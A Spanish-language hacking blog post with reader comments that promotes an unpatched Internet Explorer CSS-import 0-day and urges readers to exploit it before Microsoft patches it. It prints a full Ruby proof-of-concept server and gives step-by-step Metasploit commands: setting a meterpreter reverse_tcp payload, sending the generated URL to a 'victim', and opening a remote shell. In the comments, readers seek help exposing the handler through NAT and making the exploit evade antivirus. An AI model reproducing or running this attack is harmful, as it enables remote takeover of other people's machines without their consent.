Bueno mis amigos, esta vulneravilidad es super nueva, y todavía no es parchada oficialemte por el equipo de Microsoft, así que apurence en usarla XD.
No voy a entrar a especificar como funciona la vulnerabilidad en sí ni les voy a ser perder su tiempo leyendo sobre la criticidad del bug (es muy crítico) ni sus repercuciones, así que al grano:
#!/usr/bin/env ruby # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ # Author: Nephi Johnson (d0c_s4vage) require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] to_send = "HTTP/1.1 #{code} #{message}\r\n" + "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" + "Cache-Control: no-cache\r\n" + "Content-Type: #{type}\r\n" + "Pragma: no-cache\r\n" + "Content-Length: #{data.length}\r\n\r\n" + "#{data}" puts "[+] Sending:" to_send.split("\n").each do |line| puts " #{line}" end sock.write(to_send) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" out_str.split("\n").each do |line| puts " #{line}" end else sock.close return false end rescue Exception => ex return false end end def to_uni(str) res = "" str.each_byte do |b| res << "\x00#{b.chr}" end res end @css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s" @html_name = "test.html" placeholder = "a" * (@css_name.length/2) @html = <<-HTML HTML @html = "\xfe\xff" + to_uni(@html) @html.gsub!(to_uni(placeholder), @css_name) @css = <<-CSS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); CSS @css = "\xfe\xff" + to_uni(@css) @css.gsub!(to_uni(placeholder), @css_name) @index = <<-INDEX #{@html_name} INDEX TCPServer.open(55555) do |srv| while true cli = srv.accept req = "" html = "" css = "" index = "" next unless sock_read(cli, req, 5) while req.length > 0 if req =~ /GET/ if req =~ /GET.*#{Regexp.escape(@html_name)}/ break unless http_send(cli, @html, :type=>"text/html") elsif req =~ /GET.*index/ break unless http_send(cli, @index) elsif req =~ /GET.*#{Regexp.escape(@css_name)}/ break unless http_send(cli, @css, :type=>"text/css") else break unless http_send(cli, @css, :type=>"text/css") end elsif req =~ /QUIT/ exit() end req = "" next unless sock_read(cli, req, 5) end cli.close rescue next end end
Los que entiendan Ruby lo pueden analizar y les recomiendo que lo lean y jueguen con él así se entretendrán un rato intentando entenderlo al 100% XD.
Tengo que recalcar que si quieren de verdad meterse en el mundo del "hacking" si es que se le puede llamar así, tienen que aprender a programar y a entender todo tipo de códigos, en especial perl y ruby (sin mencionar los que si o si tienen que saber como HTML y PHP). Bueno, y para todos aquellos que lo quieren todo facilito y sin perder tiempo intentando enterder las cosas, está METASPLOIT!! (cha-chan)!
Explotar 0Day de Internet Explorer con Metasploit:
1° Partimos Metasploit y ejecutamos svn update para que se actualice y descargue el exploit que usaremos aquí: ms11_xxx_ie_css_import.
2° Luego desde Metasploit hacemos lo siguiente:
msf > use exploit/windows/browser/ms11_xxx_ie_css_import
msf exploit (ms11_xxx_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit (ms11_xxx_ie_css_import) > set SRVHOST 200.152.251.123
SRVHOST => 200.152.251.123
msf exploit (ms11_xxx_ie_css_import) > set LHOST 200.152.251.123
LHOST => 200.152.251.123
msf exploit (ms11_xxx_ie_css_import) > exploit
[+] Exploit running as background job.
[+] Started reverse handler on 200.152.251.123:4444
[+] Using URL: http://200.152.251.123:8080/WrwOMjN
Entro a explicar:
use exploit/windows/browser/ms11_xxx_ie_css_import (Definimos el exploit que vamos a usar)
set PAYLOAD windows/meterpreter/reverse_tcp (Definimos el Payload que usaremos)
set SRVHOST 200.152.251.123 (IP local donde va a montar el servicio, o sea la nuestra)
set LHOST 200.152.251.123 (IP donde se conectará la víctima, o sea la nuestra)
exploit (echamos a correr el exploit)
Bueno, lo importante de esto es la url que nos tira metasploit:
http://200.152.251.123:8080/WrwOMjN
Esa Url se le tiene que enviar a nuestra Víctima y obligatoriamente tiene que abrirla con Internet Explorer (casi obvio).
Cuando abra la URL aparecerán un montón de secuencias que no quiero postearlas para no hacer más larga mi publicación, pero si todo sale bien saldrá algo como esto:
[+] Spawning a notepad.exe host process...
[+] Migrating into ID 4435
msf exploit (ms11_xxx_ie_css_import) >
Todo OK, y ahora verificamos si nuestra Víctima cayó:
msf exploit (ms11_xxx_ie_css_import) > sessions 1
Si aparece una sesión significa que nuestra Víctima cayó y ahora nos queda conectarnos a ella:
msf exploit (ms11_xxx_ie_css_import) > sessions -i 1
Y luego pueden ejecutar cualquiera de estos 2 comandos, elijan ustedes:
msf exploit (ms11_xxx_ie_css_import) > shell
msf exploit (ms11_xxx_ie_css_import) > execute -f cmd.exe -H -i
Suerte y espero les haya gustado.
[+] Salu2
[+] ZioneR
P.D: Recomendación: Usen Firefox XD
Excelente como siempre tio
ResponderEliminar+1 :P
Pero que neófito, Ruby no se compila es un lenguaje interpretado.
ResponderEliminar@Ignacio
ResponderEliminarToda la razón viejo, mi error ;)
[+] Salu2
P.d: neófito XD
ZioneR xd
ResponderEliminarTodos nos confundimos alguna vez (Confundí HTML con PHP una vez.., hace años xD)
tengo una duda acerca dela utilización del exploit con msf(metasplit)como mencionaste el exploit nos devuelve una url que ala vez nos devuelve una sesion el asunto es que esto solo sirve a nivel local?, solo podre explotar la vulnerabilidad en una red lan?
ResponderEliminarmi otra pregunta es que luego de que me devuelva una sesión puedo utilizar otro exploit como el ms08_067_netapi,la sesión que supuestamente me devolvió el exploit anterior seguirá activa?
-----
excelente info
Querido @Anónimo :
ResponderEliminarCon respecto a la 1° pregunta, el exploit lo puedes usar en una red lan, man, wan, donde quieras.
Con respecto a la 2°, no entendí muy bien, pero se mantendrán activas todas las sessions que logres con los exploits, en la medida de que los ejecutes en distintas ventanas y distintos puertos.
[+] Salu2
[+] ZioneR
grax ZioneR por responder me a quedado muy claro
ResponderEliminarsaludos
lo e intentado en lan (poniendo mi ip de lan XD)y 0 problema.
ResponderEliminarpero al intentarlo poniendo mi ip publica 200.85.xxx.xxx me arroja lo sigiente
----------------------------------------
[-] Handler failed to bind to 200.85.xxx.xxx:4444
[-] Handler failed to bind to 0.0.0.0:4444
[-] Exploit exception: The address is already in use (0.0.0.0:4444).
-----------------------------------------
algien meda algun consejo ?
debes configurar nat en tu router o adsl que te esta dando la salida a la wan... sino el pueto 4444 que estas usando para el payload esta cerrado debes abrirlo o redireccionarlo
ResponderEliminarla verdad que no entendi mucho
ResponderEliminareso del nat quiere desir que tengo que abrir el puerto en el router (tengo un zhone)? o es estoy muy perdido ?
NAT -- Virtual Servers
ResponderEliminar---------------------------------------------------------------------------
Server External External Protocol Internal Internal Server Remote
Name Port Port Port Port IP Host
Start End Start End Address
--------------------------------------------------------------------------- x 4444 4444 TCP 4444 4444 192.168.1.203 ----
--------------------------------------------------------------------------- a 8080 8080 TCP 8080 8080 192.168.1.203 ----
---------------------------------------------------------------------------
e configurado mi router de esta forma.y al escanear con nmap me lanza lo sigiente
estara bien la configuracion por que a un nome funciona
-----------------------------------------------------------------
Starting Nmap 5.21 ( http://nmap.org ) at 2011-01-18 23:21 CLST
Nmap scan report for 200.126.xxx.xxx
Host is up (0.16s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
80/tcp open http
4444/tcp filtered krb524
8080/tcp filtered http-proxy
Nmap done: 1 IP address (1 host up) scanned in 4.87 seconds
muchas grasias por la ayuda.
Hola
ResponderEliminarhe probado el exploit sin mucho exito en mi red local, internet explorer se cierra con lo cual no crea session y mucho menos devolver una shell, por otra parte desactive el antivirus "Avira" porque me lo detecto. Que parte del codigo habria que retocar para indetectar el exploit?
Internet explorer 8 estaba con actualizacion de noviembre del 2010
Win xp sp3
un saludo
solodebian
@ Anónimo
ResponderEliminarViejo, lamentablemente el bug ya fue parchado por el equipo de Microsoft :(
Gracias por responder Zioner
ResponderEliminarsospechaba que microsoft ya habria sacado el parche pero creia que si el ie no estaba actualizado se podria explotar, pero quizas haya una actualizacion de S.O que impida acabar de explotar el ie aunque no este actualizado, podria ser?
solodebian
soy nuevo en esto, metasploit me tira error cuando intento usar el ms11_xxx_ie_css_import me dice: Failed to load module: exploit/windows/browser/ms11_xxx_ie_css_import, y actulize la svn y me responde
ResponderEliminarmsf > svn update
[*] exec: svn update
Omitiendo «.»
estoy usando ubuntu 10.10 x86